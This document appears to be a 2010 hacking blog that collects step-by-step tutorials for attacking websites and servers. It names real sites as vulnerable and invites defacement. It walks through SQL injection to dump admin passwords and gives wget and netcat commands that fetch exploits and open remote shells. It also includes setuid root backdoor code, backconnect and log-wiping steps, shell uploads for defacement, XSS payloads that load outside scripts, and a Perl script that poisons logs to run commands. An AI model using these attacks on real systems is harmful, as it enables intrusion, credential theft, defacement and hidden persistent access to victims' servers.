Website Security Blog

DNN-Dot Nuke Exploit

2010-09-21T15:03:00.000-07:00

Using google DORK try to find the vulnerable website.
inurl:"/portals/0"

You can also modify this google dork according to your need & requirement
I have found these 2 website vulnerable to this attack:http://www.wittur.se/
http://www.bsd405.org/
n00bs can also try both of these websites for testing purpose.
Open the home page and check any image which is located in /portals/0/
Check the location of the image. It should be located in /portals/0/

For e.g. in case of http://www.wittur.se ..the image is located at location- http*://www.wittur.se/Portals/0/SHM.jpg*
Waaooo it means this website is vulnerable and we can change the front page pic. Now the current image name is SHM.jpg.
Rename the new image as SHM.jpg which you want to upload as a proof of you owned the system.

Now here is the exploitProviders/HtmlEditorProviders/Fck/fcklinkgallery.aspxHOW TO RUN ?
Simply copy paste it as shown below:www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site
After selecting the third option, replace the URL bar with below script
For script click here http://tinypaste.com/af8b9

After running this JAVA script, you will see the option for Upload Selected File Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...BINGGOOOOOOOOOOOO you have hacked the website.

[APP]Tools By Reiluke

2010-09-21T14:58:00.000-07:00

Pack contains the following things-

admin finder
blind sqli
cpanel bruteforcer
duplicate remover
email brute
email checker
exploit scanner
php rapidshare checker
sms bomber
sqli coulmn counter
SQli helper
steam checker

Download them all at->

easy share-http://bit.ly/b1kla6

rapidshare-http://bit.ly/a0L9HR

filefactory-http://bit.ly/bJHykX

zshare-http://bit.ly/be8L5j

mirror-http://bit.ly/bHrKPj

Password for the archive-www.reiluke.i.ph

Source-www.reiluke.i.ph

Hacking a Website Using Havij

2010-09-20T09:13:00.000-07:00

First Lets Download our Tool:

Download havij 1.10

Now, Find a sqli infected site . Here i found a vulnerable site

http://www.hypetrading.com/productinfo.php?id=285

Now Let’s start

Open havij and copy and paste infected link as shown in figure

Now click in the “Analyze”

Then It shows some messages there….Be alert on it and be show patience for sometime to find it’s vulernable and type of injection and if db server is mysql and it will find database name.Then after get it’s database is name like xxxx_xxxx

Then Move to another operation to find tables by clicking “tables” as figure shown.Now click “Get tables” Then wait some time if needed

After founded the tables ,you can see there will be “users” Put mark on it and click in the ” get columns ” tab as shown in figure

In that Just put mark username and password and click “Get data”

Bingo Got now id and pass that may be admin…

The pass will get as md5 you can crack it also using this tool as shown in figure…

Rooting- Unix Boxes For Beginners

2010-09-20T08:42:00.000-07:00

Special credits to-
w3tw0rk
root@shell~#

Today we will learn a few fundementals on what it takes to
root a your box! In Todays Tutorial we will be using a linux
box.

Required for this tutorial:

Access to a shell - Upload by any-means a shell onto a box
mig-log cleaner - http://b14ck1c3.freehostia.com/miglc
Netcat - http://www.vulnwatch.org/netcat/nc111nt.zip
Netcat(unix) - http://b14ck1c3.freehostia.com/nc
Local Root Exploit - http://jshooter.by.ru/xpl/
half a brain
willingness to learn

Now that you have all that in order lets begin.

Go to the path of or access your shell by whatever means nessecary.
Make sure that your shell is in a writable folder just to make things
easy for us. In our case today for this tutorial we will be using
storm7shell not exactly my favorite but will get the job done none the less.
An example of this location would be something like:

http://target/youshell.php

Now that we are on your shells page we want to find out what os this box is
running and what version the kernel is. In our case it's linux 2.6.8. So we
will want to find a local root exploit for this kernel version of the linux os.
What we want to do now that we have our local root exploit for our kernel
is spawn a shell so that we can talk to the victim's box and run our commands
without interuption, But how are we suppose to do that? This can be done by
using a tool called Netcat. So now that we have a copy of Netcat we will go to
the shell, Find the command execution area of the shell and enter:

wget http://b14ck1c3.freehostia.com/nc

What this will do is download the file of Netcat i have pre-compiled and hosted
for you onto the victim box to the location of your shell. Once we have the download
complete we will want to chmod it so that our user has access to run it. which can
be done by entering:

chmod +x nc

What this does is grants everyone (user, group and other) execute permission, and the
command to the file nc which we had just previously downloaded onto the box with the
wget command.

Now that we have nc installed on both the victim machine and your own it's time to make
our connection. How Do we make a connection with nc? In the command execution area of your
shell enter:

./nc -l -p 8080 -e /bin/sh
(shell can be /bin/sh or cmd.exe for example)

And then on the netcat installed on your pc you will want to enter:

nc VictimIP Port *in our case 8080*
eg 123.123.123.123 8080

What this will do is cause the netcat on the victims box to listen on port 8080 and shovel
back an interactive shell for you once you make the connection from which you typed:

nc victimip port

Now that We have our interactive shell spawned we can start to prepare the box for rooting.
First we will want to get our local root exploit onto the box and get it compiled if it's
not already. This can be done by once again using that nifty wget command we learned about
in the previous steps.

wget http://yoursite/xpl

What we have done is now downloaded your exploit. If your exploit is not already compiled you
will need to compile it in order to run it. Compiling your exploit can be done by using the gcc,
like so:

gcc xpl.c -o xpl;chmod +x xpl

This will compile your xpl.c and output it into a file called xpl wich will be the compiled copy
of your exploit and then chmod xpl. Now you are ready to run your exploit and get your root on.
The exploit will vary on their usage so make sure you have an understanding of the root exploit
you are using. You can run your xpl file by entering in:

./xpl

Wait until your exploit is finished running once it is done enter:

whoami

What the whoami command does is tells you who you are if this tells you root then you xpl has done
it's job and you now have root priv's on the box. or you can type:

id

which will give you something like:

uid=0(root) gid=0(root) groups=500(apache) or something similar

And now you can do your happy dance.

Now that we have rooted the box and finished humiliating ourselves by dancing around we want to make
sure that we can come and go as we please without all the hassel of rooting the box over and over. So
we will want to create some kind of backdoor.
we can make this happen with few lines of code:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main( void )
{
  setuid( 0 );
  system( "/bin/bash" );

  return 0;
}

Compile it and change permissions:

root@foobar /root# gcc -o .bkdr main.c
root@foobar /root# chown root:root .bkdr
root@foobar /root# chmod +s .bkdr

Now, all you have to do is put .bkdr somewhere on the system where you can execute it (preferrably
in the $PATH) and if you execute it as another user:

raif@foobar /home/raif$ /usr/local/bin/.bkdr
root@foobar /home/raif# whoami
root

Now you have your access back.

Alright we are almost completed our mission we have successfully rooted our victims box created our
backdoor now all we need to do is wipe our tracks that we left in the logs and be on our way. This
can be done by using a log cleaner of some kind. For this tutorial we used mig-log cleaner. which you
can get here:

http://b14ck1c3.freehostia.com/miglc

Once again we can use our wget command to upload our logcleaner to the rooted box.

wget http://b14ck1c3.freehostia.com/miglc;chmod +x miglc

now just run the logcleaner

./miglc

The mig-log Cleaner has a wide variety of functions which are displayed when you run the log cleaner
so you may choose how exactly you want to clean the logs with the commands given to you. I hope you
enjoyed my tutorial and learned something from it as well. Good luck to you all.

Hack a WebSite With sqli helper V2.7

2010-09-20T00:59:00.000-07:00

In This Tut i Will Help u with hacking a Website
First Off all u Need
1.SQL Helper V2.7 (Google It)
2.Exploit Scanner
3.Havij For Admin Finder And MD5
4.Dorks If u want i can post them here

DOwnload some tools u may need....

Download them all at

http://www.easy-share.com/1910532527/reiluke%20tools.rar%22

or

http://rapidshare.com/files/394906014/reiluke_tools.rar.html

or

http://www.filefactory.com/file/b1ffg02/n/reiluke_tools.rar

or

http://www.zshare.net/download/7684968093bbb6e9

or

mirrors: http://www.rapidspread.com/file.jsp?id=8lqemevsp8

password: www.reiluke.i.ph

lets Start xD

Open Exploit Scanner and Put at Dorks Space One Of Those
///////////////////////////////////////
trainers.php?id=
article.php?ID=
play_old.php?id=
declaration_more.php?decl _id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
product-item.php?id=
news_view.php?id=
humor.php?id=
communique_detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
///////////////////////////////////////
Wait 1 Min and Sites Will Come Up After it Say's Finished press at Test
And Wait Another Minute xD
After that it will find a Vuln Sites Like This

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Test Some Site You Should Get this
Query failedYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'1 ORDER BY lastname' at line 1 SELECT * FROM person_old WHERE id=\'1 ORDER BY lastname

After Getting These That Mean The Site is Vuln
Open SQL Helper V2.7
Add The Site just like in the Picture
Add Target Then inject
DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Leave it one minute Till the Tool searching for columns . (Time may vary depending on your connection speed , your pc speed , and the number of columns in the website.)

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Make sure that the website support union otherwise the injection won't work.
If u get this you are okay till now xD
Now We Will press Get DataBase
DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Now select any element from the "database name" box and press the "Get tables" button , I will select "anthropo_encycl":
DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

then select any element from the "table name" box and press the "Get columns" button , I will select "user":

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

then select any elements you want from the "columns name" box and press "Dump Now" , i will select "usr_login" and "usr_pass"

DuDe Click on the image to see full Size Greetings ALBoRaaQ-TeAm

Then A Screen With Number Will POP up Dont Worry its Called MD5 u can see them online
http://www.md5crack.com/
But i prefer Havij cause its guarantee
So Hope u Like My Tut Thanks For Reading Remember say thanks xD

Exploiting and Rooting a Webserver

2010-09-18T14:10:00.000-07:00

Special credits to--

The 7th Sage

exploit and root a webserver also gaining future access. The tutorial is most likely to be divided in three parts.

1) Gaining Admin Access.
2) Uploading The Shell
3) Using the Shell to Gain Root Access

Hacking a Forum Admin using Exploit to Gain

Admin Access - Part 1

As said earlier i'm going to exploit ipb v2.1 forum here. You can hack

other forums too using exploits or making own exploits (which is rare :P)

Tools Needed:

This has the shell and backdoor files along with MD5 HashCracking tool and

some other things.

Download:

Code:
http://depositfiles.com/files/9juskrtax

Gaining Admin Access.

For today i will be hacking an ipb 2.1 forum by gaining admin access and

then I will show you how to root the server.

First i will be using a perl exploit and gain admin access to the forum. Usually the admin id

is 1 maybe 0 or 2 sometimes.

Here it is this guy:

UserName: Kawool
UserId = 2

Next we extract the user hash and salt. Switch to cmd and execute the perl

exploit.

Then you should see this sql injection tool.

Change the forum index path, userid (of the admin), the table name.

After you click get data from database you should see this hash:

Then use converage pass salt option.

After you get the hash the next step to do is crack the salted hash. Since

it is ipb , cracking the hash will be a pain for sure.

Cracking the Hash:

I have provided passwords pro in the download above. It is a very efficient

tool to crack md5 hashes, even salted ones.

Now probably go to sleep or drink 4-5 cup of tea until the hash is cracked.

I got mine after sometime.

So now

Code:
Username: Kawool

Password: *******

I'm gonna login as admin now ^^; Lets move on to the main part of gaining root access.

Uploading The Shell as Admin - Part 2

Uploading a Shell:
Now that we have the admin access in our hand now is the part when we

upload a shell (For those who don't know what a shell is, It is a php script that gives

privilages to upload files on a website, mess with other files etc. And yeah allows to gain

root access too).

Uploading shell as smiley here.

In the ACP Go to Look and Feel -> Emoticon Manager -> Upload the shell file as smiley.

Now lets browse our shell shall we..

w00t we has the shell uploaded properly.Next upload a c99 shell from this shell. Why we did

this is because c99 shells can be detected somwetimes. So the other shell is like a decoy.

Once its done we upload c99 shell.

Good shell was uploaded properly.

That does it for our 2nd part. Move on to Third.

Using the Shell to Gain Root Access - Part 3

Now that we have all the shit ready for rooting lets upload a backconnect script. There are many and if one doesn't work usually the other does.

So i upload back.pl i provided in the file.

BEFORE we execute the script we need to start netcat and start listening to conenctions on

port 2121.

use netcat from my downloadfile, and use the command:

Code:
nc -vv -l -p 2121

You should see something like this

Next we shall upload an exploit that will let us obtain root status on the server :)

After thats done time to use the script.

For this we give the following code.

Code:
perl back.pl youripaddress

Time to execute it.

Now we upload a backdoor for future access.

Type in the following command

Code:
wget www.revitalizemessage.com/xpl/sshdoor.tgz (or whatever ur link is)

Now the following command.

Code:
tar -zxvf sshdoor.tgz

Then we make sshdoor the current directory using this code..

Code:
cd sshdoor

Then

Code:
cat README

after you see the window with sang and prabu name. Execute the command

Code:
.install yourpassword 2121

After thats done, we connect to the server via putty.

Err an Epic Fail has occured my friends.

Maybe the host blocked the port, nmap scan revealed it. Oh well we upload another backdoor quickly. You don't always win :D (actually hackers do O_O).

Now we upload xbind.c this should be over quickly. Remember the steps don't you?:D

Indeed its easy.

Compile the xbind.c using gcc compiler. (be sure to type cd.. and be in the correct directory to work with the script).

Code:
gcc -o xbind xbind.c

Compile, run and connect.

Paste the following code now

Code:
./xbind 1985

Switch to netcat again. and run the connection code (nc vv blah blha blah) to the ip.

Now enter teh password and get going.

Code:
uname -a

There you go, we now have future access to the server :)

That does it for our Rooting Server tutorial which will be "tltr" for some people. Gaining root access is a pain but its worth the reward. So now that you read this tut, please comment :D

Uploading Shell and Add Deface

2010-09-18T14:00:00.000-07:00

This is a basic methode we can use to deface websites.
Here we upload a file to victim website and that file will help us to deface it

These files called Shells..Basicly Shell is a PHP file.When we run that php file on a sever it will give us some permissions like delete files or upload files..Shells can do lot of things

The problem is how we going to upload it to victims sever??
here we can do some basic things to upload it..

As we are just going to learn or understand this we select a website that let us to upload files to the sever.Some websites use scripts to upload files..So users or Admin can upload files easily.And we can use the same method.

Now we search for those upload scripts using google..Use this dork to search

inurl:upload.php

So google will search for upload.php files.here we go..We got some sites .. select one

Most sites will let you upload images..

Actualy we can't upload our shell as shell.php..Coz most of upload scripts will not let you to upload php,,But you can upload it as some othe file..Like image file

Rename your shell.php file to shell.php.gif

or you can just use any image format

After uploading search the uploaded file..Most sites will show you the uploaded image.So you wil see a blank image as you just uploaded a php script , not a image..
How ever find the path to the uploaded file.If the site shows the uploaded image then right click on it and "copy image url"..then paset in your browser and pess enter,,,this will load your image..
In this case it will load your shell...

In some severs this will not work..But try some diferent web sites..shell will load up in some severs..

The importent things to remember is that you should rename your shell as shell.php.gif

And you should find the right image path..I mean the direct path.. like http://www.site.com/images/upload/shell.php.gif

if you can't see the uploaded file find it by browsing folders.

First try the image folder http://www.site.com/images

Like that type some folder names and try to find out..Or just use your brain

Here are some shells.. these are the most common shells in use..

link-http://www.mediafire.com/?yl1inzliudz

---------------------------------------------------------------------------------------------------------------------------
Aliter method

first download my shell collection frm here http://goo.gl/mFy8......

In Admin Panel you will search categories or anything where you can upload a file or picture.
When you found, you will download shell from the website i told...now try to upload your shell like: r57.php when you upload it you will see the link of the upload and open it like this...... http://sql-vuln-site.com/upload/r57.php

If can't upload r57.php change it to r57.jpg.php or r57.txt and try!

You need to make a deface page in html and put in the website so you open the shell looks like this image:

regards
~shubham h4ck3r

XSS- cross site scripting

2010-09-18T10:03:00.000-07:00

ACTUAL POST BY- MaXe - Founder of InterN0T

LOCATION-

XSS Tutorial - From Bug to Vulnerability

__ -:: Introduction ::- ____________
What is XSS and what does it refer to?
XSS aka Cross Site Scripting is a client-side attack where an attacker creates a malicious link,
containing script- code which is then executed within the victim's browser. The script-code
can be any language supported by the browser but mostly HTML and Javascript is used along
with embedded Flash, Java or ActiveX.
What can Cross Site Scripting be used for?
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser
attacks, phishing, propaganda and even worms! However it still requires the victim to click
a malicious link created by the attacker or visit a malicious page that the attacker controls.
How could One get a victim to click a XSS-link?
The easiest way to get people to click malicious links is to make them look authentic and non-
malicious. Giving them a reason afterwards is the social-engineering part which should be easy
except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.
How does One avoid XSS-links looking suspicious?
This is typically done with encoding, short url services, redirects and even flash!
Which types of Cross Site Scripting are there?
The most common types are GET- and POST-based XSS. However Cross Site Scripting can also
be triggered via cookies. Persistent and non-persistent XSS are defined by wether the script will
remain and execute directly on the site (if f.ex. html or sql injection are used) or if the chosen
script will have to be called with a malicious url each time it has to be executed. (non-persistent)
What is the difference between GET- and POST-XSS?
The difference is that when GET-variables is used it is possible to conduct normal XSS attacks
where an attacker sends a malicious crafted URL to the victim which is then executed when
the victim opens the link in the browser.

With POST-variables an attacker could f.ex. use flash to send the victim to the POST-XSS
vulnerable site since it is not possible to create an URL when POST-variables are in use.
Are there sub-categories of Cross Site Scripting?
At the moment there's XSSR and XSSQLI. One could say that XSRF/CSRF belongs to the same
category, however the attack method differs too much from traditional Cross Site Scripting.
XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page
unwillingly. The page can for example contain a phishing template, browser attack code or in
some cases where the data or javascript URI scheme is used: session-hijacking. XSSQLI is a
mix of Cross Site Scripting and SQL Injection, where an unknowing victim clicks a malicious link
containing SQL Injection instructions for an area in the website which requires privileges that
guests or members doesn't have. XSRF or CSRF (sometimes refered to as C-Surf) stands for
Cross Site Request Forgery which is used to send input from a 3rd party site to the target site.
XSRF can in some cases be triggered just by viewing a specially crafted image but the most
commonly used are URLs. With Cross Site Request Forgery it might be possible to f.ex. alter
the password of the victim if the target site is not secured properly with tokens etc.
What is XST and can it be used for anything?
XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug)
protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send
the same answer back. If an attacker sends the following:

TRACE / HTTP/1.0 Host: target.tld Custom-header: <script>alert(0)</script>

Then the attacker will receive the same "Custom-header: <scr..." back allowing script execution.
However after recent browser updates the following year(s) XST has been increasingly harder to
control and execute properly.

How is it possible to find XSS bugs within websites?
There are 2 methods: code / script auditing or fuzzing which is described below.

What kind of tools is required to find XSS bugs? (REQ = Required, OPT = Optional)
- REQ: An Internet Browser (such as FireFox) in case you're fuzzing.
- REQ: A text-viewer (such as notepad) in case you're auditing.
- OPT: An intercepting proxy in case you're doing more advanced XSS. (In FireFox it is possible to use Tamper Data).
- OPT: Browser Addons, for FireFox the following are especially useful: Firebug, JSView and LiveHTTP Headers.

What else is useful to know if One wants to find XSS bugs?
- Browser limitations regarding Cross Site Scripting [1]
- HTTP Headers and how the HTTP protocol works.
- HTML + Javascript and perhaps embedded script attacks. (flash etc.)
- Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, etc.)
- Useful browser-addons (see FireCat [3])
- Website scanners (Nikto, W3AF, Grendel, Directory-fuzzers etc.)

Where are XSS-bugs typically located?
It is usually located in user submitted input either via GET or POST variables, where it is reflected on
the target site as text outside tags, inside tag values or within javascript. It can also in some cases
be submitted via cookies, http headers or in rare cases file uploads.

How does One protect a site against XSS?
The best way is to ensure that all user input and output is validated properly. However in some cases
an IPS or WAF can also protect against XSS though the best way is still to validate the user-input and -output properly.

___ -:: Finding the Bug - With Fuzzing ::- ____________
[EASY] Example Case - A:
We're at hxxp://buggysite.tld where we see a "Search-field" in the top-right. Since we don't know the
real source code but only the HTML-output of the site we will have to fuzz anything where it is possible
to submit data. In some cases the data will be reflected on the site and in some cases it wont. If it doesn't
we move on to the next cookie, header, get / post variable or whatever it is that we are fuzzing.

The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different
precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont
trigger anything that might alter the output of the site or render error pages that aren't vulnerable.

An example of an effective string could be: "keyword'/\><

" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want
to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site.

The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site
might have tried to implement against XSS instead of using a secure coding scheme /plan / development cycle.
The reason why all characters are written as >< instead of <> is because this is a common bypass against XSS-filters!

With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:

Lets take a look at the returned HTML-code:

... <input type="text" name="search" value=""haxxor'/\><" /> <br /> You searched for \"haxxor\'/\\>< which returned no results. ...

As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it
properly as it only added slashes which is completely useless against Cross Site Scripting in this case.

By submitting the following string we can XSS their website: <script>alert(0)</script> or perhaps <script src=hxxp://h4x0r.tld/xss.js></script>

Of course we don't know if the following characters : ( ) and . are filtered but in most cases they work.

Our final XSS-url could be: hxxp://buggysite.tld/search.php?query=<script>alert(0)</script> if GET-variables are used.

[EASY] Example Case - B:
We're at hxxp://yetanothersite.tld where we see another search formular.

The following is returned after our string is submitted to the search field:

... <input type="text" name="search" value="\"haxxor\'/\\><" /> <br /> You searched for "haxxor'/\>< which returned no results. ...

In this case the string after the tag encoded the string properly, however the string inside the tag only had some
slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script>

If we're going to load external javascript we will have to avoid using " and ' of course.

Our final XSS-url could be: hxxp://yetanothersite.tld/search.php?query="><script>alert(0)</script> if GET-variables are used.

[MODERATE] Example Case - C:
We're at hxxp://prettysecure.tld where we find yet another search field, it's time to submit our fuzzing string.

The following HTML-code is returned after our string is submitted:

... <input type="text" name="search" value=""haxxor'/\><"> You searched for ""haxxor'/\><" which returned no results. ... (further down) <script> ... s.prop1="prettysecure"; s.prop2="\"haxxor%39/\%3E%3C"; s.prop3="adspace"; ... </script>

For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting
vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the XSS
bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something
better. The reason why a keyword is used is because it is searchable almost always, you can call it a XSS-locator. [1]

Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not
filtered or encoded correct. So if we write: \" it will become \\", which will escape the first \ but not our quote.
As you can see, we can't use tags either so we'll have to do something else.

We have of course checked that brackets ( ) are NOT filtered. (in some cases they can be).

By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\"
This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\"
variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead
of s.prop500=\" we just use // in the end of the string.

In this case it is also possible to execute external javascript if One uses a bit more advanced javascript.
In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter.

Our final XSS-url could be: hxxp://prettysecure.tld/search.php?query=\"; alert(0); s.prop500=\"

___ -:: Finding the Bug - With Auditing ::- ____________
[EASY] Example Case - A:

The following file (index.php) has some interesting code:

... if($_GET['view_profile']==1) { echo $_GET['name']; ... (more code) } ...

By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable.
An example attack URL could look like: hxxp://testz.tld/index.php?view_profile=1&name=<script>alert(0)</script>

[HARD] Example Case - B:

The following file (search.php) has some interesting code:

... if($_GET['set_flag']==1) { $var = "checked"; } echo "<input type='radio' value='flag' checked='" .htmlentities($var). "' />"; ...

This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default).
Register_Globals basically allows an individual to set variables on the fly, even if they are not meant to be set.

This only applies to variables that are NOT set as in the example above. Another problem we have encountered
is htmlentities however due to a coding error we can still abuse the tag without creating a new.
We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that
the victim triggers the eventhandler no matter what. There's multiple ways of doing that, one of them is:

style='display:block;width:99999px;height:99999px;'

An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.

You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to
that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' />

Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES
were not set in the htmlentities function. This means that we can break out of checked='' easily.

An example attack URL could be: hxxp://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0)

There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting.

___ -:: Additional Information ::- ____________
XSSR

When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POST-variables or B) User
submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that
a site that only accepts HTTP or HTTPS links via GET-variables also falls under the XSSR category.

An example of XSSR could be: hxxp://somesite.tld/redirect.php?link=data:text/html,<script>alert(0)</script>
And if the Javascript URI scheme is used: hxxp://somesite.tld/redirect.php?link=java script:alert(0);

This has in some cases been known to leak cookies and is therefore used in session-hijacking.
XSSQLI
When a SQL Injection vulnerability exists within a privileged area of the target site, XSSQLI becomes usable.

An example of XSSQLI could be tricking the administrator of "shouldbescure.tld" to click either the SQL Injection
link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site
where this could be the vulnerable part: hxxp://shouldbesecure.tld/admin.php?del=1 AND 1=1/*
XSRF
Also known as CSRF and C-Surf can be used against sites that doesn't use tokens which are usually hidden inside tags.
A common way to use tokens against C-Surf attacks is to hide them inside tags like:

<input type="hidden" name="anti-csrf" value="random token value" />

If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack.

References:
[1] http://ha.ckers.org/xss.html
[2] http://en.wikipedia....-site_scripting
[3] http://firecat.intern0t.net/

0

LFI Tutorial (local file inclusion)

2010-09-18T09:55:00.000-07:00

This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).

First lets take a look at a php code that is vulnerable to LFI:
Code:
$page = $_GET[page];
include($page);
?>
Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.

Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type victim.com/test/test.php will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru victim.com/index.php?page=test/test.php , see what happened there? Now, if the index.php was in victim.com/test/index.php and the test.php in victim.com/test.php you will have to type victim.com/test/index.php?page=../test.php . The ../ is called directory
transversal using that will allow you to go up in the directories.

Now that we can go up and down thru the server let's use it to access files that we are not supposed to. If this was hosted in a Unix server we can then possibly view the password file of the server, to do this you will have to type something like this (the nr of ../ may vary depending of where the vulnerable file is):
Code:
victim.com/index.php?page=../../../../../../../etc/ passwd
If you don't know what to do with the content of etc/passwd then continue reading! The etc/passwd is where the users/passwords are stored, a non shadowed passwd file will look like this:

username: passwd:UID:GID:full_name:directory:shell

For example:

username:kbeMVnZM0oL7I:503:100:FullName:/home/user name:/bin/sh

All you need to do then is grab the username and decode the password. If the passwd file is shadowed then you'll see something like this:

username:x:503:100:FullName:/home/username:/bin/sh

As you can see the password is now a x and the encoded password is now in /etc/shadow (you will probably not have access to etc/shadow because is only readable/writeable by root and etc/passwd has to be readable by many
processes, thats why you have access to it).

You can also sometimes see something like this:

username:!:503:100:FullName:/home/username:/bin/sh

The ! indicates that the encoded password is stored in the etc/security/passwd file.

Heres a couple of places that may be interesting to "visit":
Code:
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default
You will probably need to google for it as this is not the right tutorial to it.

Just one more quick thing, its also common to find a vulnerable code like:
Code:
$page = $_GET["page"];
include("$page.php");
?>
In this case as you can see it will add a .php in the end of whatever you include! So if you type in your browser:
Code:
victim.com/index.php?file=../../../../../../../../ etc/passwd
it will retrieve:
victim.com/index.php?file=../../../../../../../../ etc/passwd.php that file don't exist, and you will see an error message, so you need to apply the null byte ():
Code:
victim.com/index.php?file=../../../../../../../../ etc/passwd
With the null byte the server will ignore everything that comes after .

There are other ways to use the LFI exploit, so continue reading, the REALLY fun is about to begin!

We will now gonna try to run commands on the server, we will do this by injecting php code in the httpd logs and then access them by the LFI! To do this first find out where the logs are stored, here is some locations that may be useful to you:
Code:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
Ok, now that you know where the logs are take a look at them and see what they store, at this example we will use a log that stores the "not found files" and the php code . You will then type at your browser victim.com/ and the php code will be logged because it "dosen't exist".

This possibly won't work because if you go look into the log you will probably see the php code like this:
Code:
%3C?%20passthru($_GET[cmd])%20?>
because your browser will url encode the whole thing! So you'll need to use something else, if you don't have a script of your own you can use this perl script i've wrote:
Code:
#!/usr/bin/perl -w
use IO::Socket;
use LWP::UserAgent;
$site="victim.com";
$path="/folder/";
$code="";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path.$code." HTTP/1.1
";
print $socket "User-Agent: ".$code."
";
print $socket "Host: ".$site."
";
print $socket "Connection: close

";
close($socket);
print "
Code $code sucssefully injected in $log
";

print "
Type command to run or exit to end: ";
$cmd = ;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die "
Connection Failed.

";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1
";
print $socket "Host: ".$site."
";
print $socket "Accept: */*
";
print $socket "Connection: close

";

while ($show = <$socket>)
{
print $show;
}

print "Type command to run or exit to end: ";
$cmd = ;
}
Copy/paste that, save it as whatever.pl and change what is in bold accordingly to your victim site. If the vulnerable code is in victim.com/main/test.php you should change the /folder/ to /main/ , index.php= to test.php= and the ../../../../../../../etc/httpd/logs/error_log to where the log is at!

That script will inject the code and then will ask you for a command to run on the server! You know what to do now!

Last but not least we will take a look on how to use the avatar/image upload funtion found in a lot of web aplications.
